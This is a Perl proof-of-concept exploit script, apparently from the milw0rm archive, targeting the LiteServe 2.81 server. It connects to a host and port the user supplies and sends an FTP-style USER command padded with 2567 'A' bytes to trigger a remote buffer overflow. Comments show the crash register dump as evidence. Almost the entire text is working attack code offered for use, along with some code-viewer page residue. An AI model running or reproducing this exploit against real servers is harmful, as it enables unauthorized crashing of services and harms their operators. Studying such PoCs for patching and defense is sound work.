45 lines
No EOL
1,022 B
Perl
Executable file
45 lines
No EOL
1,022 B
Perl
Executable file
#!/bin/perl
|
|
|
|
# LiteServe 2.81 Remote buffer overflow Poc (user)
|
|
# download : http://www.cmfperception.com/liteserve/pls2_81.exe
|
|
|
|
# -------------------------------------
|
|
# EAX 00000001
|
|
# ECX 7FFDF000
|
|
# EDX 41414155
|
|
# EBX 010ED8EC ASCII "AAAAAAAAAAAA"
|
|
# ESP 0012E414
|
|
# EBP 0012E45C
|
|
# ESI 41414141
|
|
# EDI 41414155
|
|
# EIP 7C911010 ntdll.7C911010
|
|
|
|
# Access violation When Reading [41414169]
|
|
# --------------------------------------
|
|
|
|
use IO::Socket;
|
|
print "[+] Author : HouSSaMix \n";
|
|
print "[+] LiteServe 2.81 Remote buffer overflow Poc \n";
|
|
|
|
if (@ARGV < 2)
|
|
{
|
|
print "[*] Usage: hsmx.pl host port\n";
|
|
print "[*] Exemple: hsmx.pl 127.0.0.1 21\n";
|
|
exit;
|
|
}
|
|
|
|
$ip = $ARGV[0];
|
|
$port = $ARGV[1];
|
|
|
|
$cc = "\x41" x 2567 ;
|
|
|
|
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "\n[-] Connecting: Failed!\n";
|
|
print "\n[+] Connecting: Ok!\n";
|
|
print "[+] Sending bad request...\n";
|
|
print $socket "USER $cc\n";
|
|
sleep(5);
|
|
close($socket);
|
|
|
|
print "[+] bad request sent \n";
|
|
|
|
# milw0rm.com [2009-01-07] |